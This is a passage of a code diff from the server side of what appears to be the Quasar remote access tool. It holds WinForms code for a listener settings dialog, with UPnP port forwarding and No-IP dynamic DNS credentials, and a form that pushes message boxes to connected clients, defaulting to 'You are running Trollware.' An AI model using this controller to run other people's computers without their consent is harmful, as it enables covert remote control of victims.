this.lblPort.AutoSize = true;
this.lblPort.Location = new System.Drawing.Point(12, 11);
this.lblPort.Name = "lblPort";
this.lblPort.Size = new System.Drawing.Size(93, 13);
this.lblPort.TabIndex = 0;
this.lblPort.Text = "Port to listen on:";
//
// ncPort
//
this.ncPort.Location = new System.Drawing.Point(111, 7);
this.ncPort.Maximum = new decimal(new int[] {
65535,
0,
0,
0});
this.ncPort.Minimum = new decimal(new int[] {
1,
0,
0,
0});
this.ncPort.Name = "ncPort";
this.ncPort.Size = new System.Drawing.Size(75, 22);
this.ncPort.TabIndex = 1;
this.ncPort.Value = new decimal(new int[] {
1,
0,
0,
0});
//
// chkAutoListen
//
this.chkAutoListen.AutoSize = true;
this.chkAutoListen.Location = new System.Drawing.Point(12, 68);
this.chkAutoListen.Name = "chkAutoListen";
this.chkAutoListen.Size = new System.Drawing.Size(222, 17);
this.chkAutoListen.TabIndex = 6;
this.chkAutoListen.Text = "Listen for new connections on startup";
this.chkAutoListen.UseVisualStyleBackColor = true;
//
// chkPopup
//
this.chkPopup.AutoSize = true;
this.chkPopup.Location = new System.Drawing.Point(12, 91);
this.chkPopup.Name = "chkPopup";
this.chkPopup.Size = new System.Drawing.Size(259, 17);
this.chkPopup.TabIndex = 7;
this.chkPopup.Text = "Show popup notification on new connection";
this.chkPopup.UseVisualStyleBackColor = true;
//
// btnListen
//
this.btnListen.Location = new System.Drawing.Point(192, 6);
this.btnListen.Name = "btnListen";
this.btnListen.Size = new System.Drawing.Size(110, 23);
this.btnListen.TabIndex = 2;
this.btnListen.Text = "Start listening";
this.btnListen.UseVisualStyleBackColor = true;
this.btnListen.Click += new System.EventHandler(this.btnListen_Click);
//
// btnCancel
//
this.btnCancel.Location = new System.Drawing.Point(146, 298);
this.btnCancel.Name = "btnCancel";
this.btnCancel.Size = new System.Drawing.Size(75, 23);
this.btnCancel.TabIndex = 18;
this.btnCancel.Text = "&Cancel";
this.btnCancel.UseVisualStyleBackColor = true;
this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click);
//
// chkUseUpnp
//
this.chkUseUpnp.AutoSize = true;
this.chkUseUpnp.Location = new System.Drawing.Point(12, 114);
this.chkUseUpnp.Name = "chkUseUpnp";
this.chkUseUpnp.Size = new System.Drawing.Size(249, 17);
this.chkUseUpnp.TabIndex = 8;
this.chkUseUpnp.Text = "Try to automatically forward the port (UPnP)";
this.chkUseUpnp.UseVisualStyleBackColor = true;
//
// chkShowTooltip
//
this.chkShowTooltip.AutoSize = true;
this.chkShowTooltip.Location = new System.Drawing.Point(12, 137);
this.chkShowTooltip.Name = "chkShowTooltip";
this.chkShowTooltip.Size = new System.Drawing.Size(268, 17);
this.chkShowTooltip.TabIndex = 9;
this.chkShowTooltip.Text = "Show tooltip on client with system information";
this.chkShowTooltip.UseVisualStyleBackColor = true;
//
// chkNoIPIntegration
//
this.chkNoIPIntegration.AutoSize = true;
this.chkNoIPIntegration.Location = new System.Drawing.Point(12, 177);
this.chkNoIPIntegration.Name = "chkNoIPIntegration";
this.chkNoIPIntegration.Size = new System.Drawing.Size(187, 17);
this.chkNoIPIntegration.TabIndex = 10;
this.chkNoIPIntegration.Text = "Enable No-Ip.com DNS Updater";
this.chkNoIPIntegration.UseVisualStyleBackColor = true;
this.chkNoIPIntegration.CheckedChanged += new System.EventHandler(this.chkNoIPIntegration_CheckedChanged);
//
// lblHost
//
this.lblHost.AutoSize = true;
this.lblHost.Enabled = false;
this.lblHost.Location = new System.Drawing.Point(30, 203);
this.lblHost.Name = "lblHost";
this.lblHost.Size = new System.Drawing.Size(34, 13);
this.lblHost.TabIndex = 11;
this.lblHost.Text = "Host:";
//
// lblPass
//
this.lblPass.AutoSize = true;
this.lblPass.Enabled = false;
this.lblPass.Location = new System.Drawing.Point(167, 231);
this.lblPass.Name = "lblPass";
this.lblPass.Size = new System.Drawing.Size(32, 13);
this.lblPass.TabIndex = 15;
this.lblPass.Text = "Pass:";
//
// lblUser
//
this.lblUser.AutoSize = true;
this.lblUser.Enabled = false;
this.lblUser.Location = new System.Drawing.Point(30, 231);
this.lblUser.Name = "lblUser";
this.lblUser.Size = new System.Drawing.Size(32, 13);
this.lblUser.TabIndex = 13;
this.lblUser.Text = "Mail:";
//
// txtNoIPPass
//
this.txtNoIPPass.Enabled = false;
this.txtNoIPPass.Location = new System.Drawing.Point(199, 228);
this.txtNoIPPass.Name = "txtNoIPPass";
this.txtNoIPPass.Size = new System.Drawing.Size(100, 22);
this.txtNoIPPass.TabIndex = 16;
//
// txtNoIPUser
//
this.txtNoIPUser.Enabled = false;
this.txtNoIPUser.Location = new System.Drawing.Point(70, 228);
this.txtNoIPUser.Name = "txtNoIPUser";
this.txtNoIPUser.Size = new System.Drawing.Size(91, 22);
this.txtNoIPUser.TabIndex = 14;
//
// txtNoIPHost
//
this.txtNoIPHost.Enabled = false;
this.txtNoIPHost.Location = new System.Drawing.Point(70, 200);
this.txtNoIPHost.Name = "txtNoIPHost";
this.txtNoIPHost.Size = new System.Drawing.Size(229, 22);
this.txtNoIPHost.TabIndex = 12;
//
// chkShowPassword
//
this.chkShowPassword.AutoSize = true;
this.chkShowPassword.Enabled = false;
this.chkShowPassword.Location = new System.Drawing.Point(192, 256);
this.chkShowPassword.Name = "chkShowPassword";
this.chkShowPassword.Size = new System.Drawing.Size(107, 17);
this.chkShowPassword.TabIndex = 17;
this.chkShowPassword.Text = "Show Password";
this.chkShowPassword.UseVisualStyleBackColor = true;
this.chkShowPassword.CheckedChanged += new System.EventHandler(this.chkShowPassword_CheckedChanged);
//
// chkIPv6Support
//
this.chkIPv6Support.AutoSize = true;
this.chkIPv6Support.Location = new System.Drawing.Point(12, 45);
this.chkIPv6Support.Name = "chkIPv6Support";
this.chkIPv6Support.Size = new System.Drawing.Size(128, 17);
this.chkIPv6Support.TabIndex = 5;
this.chkIPv6Support.Text = "Enable IPv6 support";
this.chkIPv6Support.UseVisualStyleBackColor = true;
//
// FrmSettings
//
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(314, 333);
this.Controls.Add(this.chkIPv6Support);
this.Controls.Add(this.chkShowPassword);
this.Controls.Add(this.txtNoIPHost);
this.Controls.Add(this.txtNoIPUser);
this.Controls.Add(this.txtNoIPPass);
this.Controls.Add(this.lblUser);
this.Controls.Add(this.lblPass);
this.Controls.Add(this.lblHost);
this.Controls.Add(this.chkNoIPIntegration);
this.Controls.Add(this.chkShowTooltip);
this.Controls.Add(this.chkUseUpnp);
this.Controls.Add(this.btnCancel);
this.Controls.Add(this.btnListen);
this.Controls.Add(this.chkPopup);
this.Controls.Add(this.chkAutoListen);
this.Controls.Add(this.ncPort);
this.Controls.Add(this.lblPort);
this.Controls.Add(this.btnSave);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmSettings";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Settings";
this.Load += new System.EventHandler(this.FrmSettings_Load);
((System.ComponentModel.ISupportInitialize)(this.ncPort)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Button btnSave;
private System.Windows.Forms.Label lblPort;
private System.Windows.Forms.NumericUpDown ncPort;
private System.Windows.Forms.CheckBox chkAutoListen;
private System.Windows.Forms.CheckBox chkPopup;
private System.Windows.Forms.Button btnListen;
private System.Windows.Forms.Button btnCancel;
private System.Windows.Forms.CheckBox chkUseUpnp;
private System.Windows.Forms.CheckBox chkShowTooltip;
private System.Windows.Forms.CheckBox chkNoIPIntegration;
private System.Windows.Forms.Label lblHost;
private System.Windows.Forms.Label lblPass;
private System.Windows.Forms.Label lblUser;
private System.Windows.Forms.TextBox txtNoIPPass;
private System.Windows.Forms.TextBox txtNoIPUser;
private System.Windows.Forms.TextBox txtNoIPHost;
private System.Windows.Forms.CheckBox chkShowPassword;
private System.Windows.Forms.CheckBox chkIPv6Support;
}
}
+156
View File
@@ -0,0 +1,156 @@
using Quasar.Server.Networking;
using Quasar.Server.Utilities;
using System;
using System.Globalization;
using System.Net.Sockets;
using System.Windows.Forms;
using Quasar.Server.Models;
namespace Quasar.Server.Forms
{
public partial class FrmSettings : Form
{
private readonly QuasarServer _listenServer;
public FrmSettings(QuasarServer listenServer)
{
this._listenServer = listenServer;
InitializeComponent();
ToggleListenerSettings(!listenServer.Listening);
ShowPassword(false);
}
private void FrmSettings_Load(object sender, EventArgs e)
{
ncPort.Value = Settings.ListenPort;
chkIPv6Support.Checked = Settings.IPv6Support;
chkAutoListen.Checked = Settings.AutoListen;
chkPopup.Checked = Settings.ShowPopup;
chkUseUpnp.Checked = Settings.UseUPnP;
chkShowTooltip.Checked = Settings.ShowToolTip;
chkNoIPIntegration.Checked = Settings.EnableNoIPUpdater;
txtNoIPHost.Text = Settings.NoIPHost;
txtNoIPUser.Text = Settings.NoIPUsername;
txtNoIPPass.Text = Settings.NoIPPassword;
}
private ushort GetPortSafe()
{
var portValue = ncPort.Value.ToString(CultureInfo.InvariantCulture);
ushort port;
return (!ushort.TryParse(portValue, out port)) ? (ushort)0 : port;
}
private void btnListen_Click(object sender, EventArgs e)
{
ushort port = GetPortSafe();
if (port == 0)
{
MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK,
MessageBoxIcon.Warning);
return;
}
if (btnListen.Text == "Start listening" && !_listenServer.Listening)
{
try
{
if(chkNoIPIntegration.Checked)
NoIpUpdater.Start();
_listenServer.Listen(port, chkIPv6Support.Checked, chkUseUpnp.Checked);
ToggleListenerSettings(false);
}
catch (SocketException ex)
{
if (ex.ErrorCode == 10048)
{
MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
else
{
MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
_listenServer.Disconnect();
}
catch (Exception)
{
_listenServer.Disconnect();
}
}
else if (btnListen.Text == "Stop listening" && _listenServer.Listening)
{
_listenServer.Disconnect();
ToggleListenerSettings(true);
}
}
private void btnSave_Click(object sender, EventArgs e)
{
ushort port = GetPortSafe();
if (port == 0)
{
MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK,
MessageBoxIcon.Warning);
return;
}
Settings.ListenPort = port;
Settings.IPv6Support = chkIPv6Support.Checked;
Settings.AutoListen = chkAutoListen.Checked;
Settings.ShowPopup = chkPopup.Checked;
Settings.UseUPnP = chkUseUpnp.Checked;
Settings.ShowToolTip = chkShowTooltip.Checked;
Settings.EnableNoIPUpdater = chkNoIPIntegration.Checked;
Settings.NoIPHost = txtNoIPHost.Text;
Settings.NoIPUsername = txtNoIPUser.Text;
Settings.NoIPPassword = txtNoIPPass.Text;
this.Close();
}
private void btnCancel_Click(object sender, EventArgs e)
{
if (MessageBox.Show("Discard your changes?", "Cancel", MessageBoxButtons.YesNo, MessageBoxIcon.Question) ==
DialogResult.Yes)
this.Close();
}
private void chkNoIPIntegration_CheckedChanged(object sender, EventArgs e)
{
NoIPControlHandler(chkNoIPIntegration.Checked);
}
private void ToggleListenerSettings(bool enabled)
{
btnListen.Text = enabled ? "Start listening" : "Stop listening";
ncPort.Enabled = enabled;
chkIPv6Support.Enabled = enabled;
chkUseUpnp.Enabled = enabled;
}
private void NoIPControlHandler(bool enable)
{
lblHost.Enabled = enable;
lblUser.Enabled = enable;
lblPass.Enabled = enable;
txtNoIPHost.Enabled = enable;
txtNoIPUser.Enabled = enable;
txtNoIPPass.Enabled = enable;
chkShowPassword.Enabled = enable;
}
private void ShowPassword(bool show = true)
{
txtNoIPPass.PasswordChar = (show) ? (char)0 : (char)'●';
}
private void chkShowPassword_CheckedChanged(object sender, EventArgs e)
{
ShowPassword(chkShowPassword.Checked);
}
}
}
+197
View File
@@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH//
/wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA
AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AgB/
/wIAAAAATLLyFD64+WI8vPqoPLv52zm6+PU3uvn5Nrj4+Tez9fQ4r/TYN6rxpTmk7l1Pn+8QA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Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978
/2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/
/wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af//
/wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+193
View File
@@ -0,0 +1,193 @@
namespace Quasar.Server.Forms
{
partial class FrmShowMessagebox
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmShowMessagebox));
this.groupMsgSettings = new System.Windows.Forms.GroupBox();
this.cmbMsgIcon = new System.Windows.Forms.ComboBox();
this.lblMsgIcon = new System.Windows.Forms.Label();
this.cmbMsgButtons = new System.Windows.Forms.ComboBox();
this.lblMsgButtons = new System.Windows.Forms.Label();
this.txtText = new System.Windows.Forms.TextBox();
this.txtCaption = new System.Windows.Forms.TextBox();
this.lblText = new System.Windows.Forms.Label();
this.lblCaption = new System.Windows.Forms.Label();
this.btnPreview = new System.Windows.Forms.Button();
this.btnSend = new System.Windows.Forms.Button();
this.groupMsgSettings.SuspendLayout();
this.SuspendLayout();
//
// groupMsgSettings
//
this.groupMsgSettings.Controls.Add(this.cmbMsgIcon);
this.groupMsgSettings.Controls.Add(this.lblMsgIcon);
this.groupMsgSettings.Controls.Add(this.cmbMsgButtons);
this.groupMsgSettings.Controls.Add(this.lblMsgButtons);
this.groupMsgSettings.Controls.Add(this.txtText);
this.groupMsgSettings.Controls.Add(this.txtCaption);
this.groupMsgSettings.Controls.Add(this.lblText);
this.groupMsgSettings.Controls.Add(this.lblCaption);
this.groupMsgSettings.Location = new System.Drawing.Point(12, 12);
this.groupMsgSettings.Name = "groupMsgSettings";
this.groupMsgSettings.Size = new System.Drawing.Size(325, 146);
this.groupMsgSettings.TabIndex = 0;
this.groupMsgSettings.TabStop = false;
this.groupMsgSettings.Text = "Messagebox Settings";
//
// cmbMsgIcon
//
this.cmbMsgIcon.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.cmbMsgIcon.FormattingEnabled = true;
this.cmbMsgIcon.Location = new System.Drawing.Point(147, 107);
this.cmbMsgIcon.Name = "cmbMsgIcon";
this.cmbMsgIcon.Size = new System.Drawing.Size(162, 21);
this.cmbMsgIcon.TabIndex = 8;
//
// lblMsgIcon
//
this.lblMsgIcon.AutoSize = true;
this.lblMsgIcon.Location = new System.Drawing.Point(42, 110);
this.lblMsgIcon.Name = "lblMsgIcon";
this.lblMsgIcon.Size = new System.Drawing.Size(99, 13);
this.lblMsgIcon.TabIndex = 7;
this.lblMsgIcon.Text = "Messagebox Icon:";
//
// cmbMsgButtons
//
this.cmbMsgButtons.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.cmbMsgButtons.FormattingEnabled = true;
this.cmbMsgButtons.Location = new System.Drawing.Point(147, 80);
this.cmbMsgButtons.Name = "cmbMsgButtons";
this.cmbMsgButtons.Size = new System.Drawing.Size(162, 21);
this.cmbMsgButtons.TabIndex = 6;
//
// lblMsgButtons
//
this.lblMsgButtons.AutoSize = true;
this.lblMsgButtons.Location = new System.Drawing.Point(23, 83);
this.lblMsgButtons.Name = "lblMsgButtons";
this.lblMsgButtons.Size = new System.Drawing.Size(118, 13);
this.lblMsgButtons.TabIndex = 5;
this.lblMsgButtons.Text = "Messagebox Buttons:";
//
// txtText
//
this.txtText.Location = new System.Drawing.Point(60, 49);
this.txtText.MaxLength = 256;
this.txtText.Name = "txtText";
this.txtText.Size = new System.Drawing.Size(249, 22);
this.txtText.TabIndex = 4;
this.txtText.Text = "You are running Trollware.";
//
// txtCaption
//
this.txtCaption.Location = new System.Drawing.Point(60, 21);
this.txtCaption.MaxLength = 256;
this.txtCaption.Name = "txtCaption";
this.txtCaption.Size = new System.Drawing.Size(249, 22);
this.txtCaption.TabIndex = 2;
this.txtCaption.Text = "Information";
//
// lblText
//
this.lblText.AutoSize = true;
this.lblText.Location = new System.Drawing.Point(24, 52);
this.lblText.Name = "lblText";
this.lblText.Size = new System.Drawing.Size(30, 13);
this.lblText.TabIndex = 3;
this.lblText.Text = "Text:";
//
// lblCaption
//
this.lblCaption.AutoSize = true;
this.lblCaption.Location = new System.Drawing.Point(6, 24);
this.lblCaption.Name = "lblCaption";
this.lblCaption.Size = new System.Drawing.Size(51, 13);
this.lblCaption.TabIndex = 1;
this.lblCaption.Text = "Caption:";
//
//
// btnPreview
//
this.btnPreview.Location = new System.Drawing.Point(181, 168);
this.btnPreview.Name = "btnPreview";
this.btnPreview.Size = new System.Drawing.Size(75, 23);
this.btnPreview.TabIndex = 5;
this.btnPreview.Text = "Preview";
this.btnPreview.UseVisualStyleBackColor = true;
this.btnPreview.Click += new System.EventHandler(this.btnPreview_Click);
//
// btnSend
//
this.btnSend.Location = new System.Drawing.Point(262, 168);
this.btnSend.Name = "btnSend";
this.btnSend.Size = new System.Drawing.Size(75, 23);
this.btnSend.TabIndex = 6;
this.btnSend.Text = "Send";
this.btnSend.UseVisualStyleBackColor = true;
this.btnSend.Click += new System.EventHandler(this.btnSend_Click);
//
// FrmShowMessagebox
//
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(349, 203);
this.Controls.Add(this.btnSend);
this.Controls.Add(this.btnPreview);
this.Controls.Add(this.groupMsgSettings);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmShowMessagebox";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Show Messagebox []";
this.Load += new System.EventHandler(this.FrmShowMessagebox_Load);
this.groupMsgSettings.ResumeLayout(false);
this.groupMsgSettings.PerformLayout();
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.GroupBox groupMsgSettings;
private System.Windows.Forms.ComboBox cmbMsgIcon;
private System.Windows.Forms.Label lblMsgIcon;
private System.Windows.Forms.ComboBox cmbMsgButtons;
private System.Windows.Forms.Label lblMsgButtons;
private System.Windows.Forms.TextBox txtText;
private System.Windows.Forms.TextBox txtCaption;
private System.Windows.Forms.Label lblText;
private System.Windows.Forms.Label lblCaption;
private System.Windows.Forms.Button btnPreview;
private System.Windows.Forms.Button btnSend;
}
}
+99
View File
@@ -0,0 +1,99 @@
using System;
using System.Windows.Forms;
using Quasar.Server.Helper;
namespace Quasar.Server.Forms
{
public partial class FrmShowMessagebox : Form
{
private readonly int _selectedClients;
public string MsgBoxCaption { get; set; }
public string MsgBoxText { get; set; }
public string MsgBoxButton { get; set; }
public string MsgBoxIcon { get; set; }
public FrmShowMessagebox(int selected)
{
_selectedClients = selected;
InitializeComponent();
}
private void FrmShowMessagebox_Load(object sender, EventArgs e)
{
this.Text = WindowHelper.GetWindowTitle("Show Messagebox", _selectedClients);
cmbMsgButtons.Items.AddRange(new string[]
{"AbortRetryIgnore", "OK", "OKCancel", "RetryCancel", "YesNo", "YesNoCancel"});
cmbMsgButtons.SelectedIndex = 0;
cmbMsgIcon.Items.AddRange(new string[]
{"None", "Error", "Hand", "Question", "Exclamation", "Warning", "Information", "Asterisk"});
cmbMsgIcon.SelectedIndex = 0;
}
private void btnPreview_Click(object sender, EventArgs e)
{
MessageBox.Show(null, txtText.Text, txtCaption.Text,
(MessageBoxButtons)
Enum.Parse(typeof (MessageBoxButtons), GetMessageBoxButton(cmbMsgButtons.SelectedIndex)),
(MessageBoxIcon) Enum.Parse(typeof (MessageBoxIcon), GetMessageBoxIcon(cmbMsgIcon.SelectedIndex)));
}
private void btnSend_Click(object sender, EventArgs e)
{
MsgBoxCaption = txtCaption.Text;
MsgBoxText = txtText.Text;
MsgBoxButton = GetMessageBoxButton(cmbMsgButtons.SelectedIndex);
MsgBoxIcon = GetMessageBoxIcon(cmbMsgIcon.SelectedIndex);
this.DialogResult = DialogResult.OK;
this.Close();
}
private string GetMessageBoxButton(int selectedIndex)
{
switch (selectedIndex)
{
case 0:
return "AbortRetryIgnore";
case 1:
return "OK";
case 2:
return "OKCancel";
case 3:
return "RetryCancel";
case 4:
return "YesNo";
case 5:
return "YesNoCancel";
default:
return "OK";
}
}
private string GetMessageBoxIcon(int selectedIndex)
{
switch (selectedIndex)
{
case 0:
return "None";
case 1:
return "Error";
case 2:
return "Hand";
case 3:
return "Question";
case 4:
return "Exclamation";
case 5:
return "Warning";
case 6:
return "Information";
case 7:
return "Asterisk";
default:
return "None";
}
}
}
}
+197
View File
@@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
